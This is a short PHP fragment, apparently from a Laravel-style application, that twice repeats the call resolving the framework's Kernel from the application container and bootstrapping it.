$app->make(Kernel::class)->bootstrap(); $app->make(Kernel::class)->bootstrap();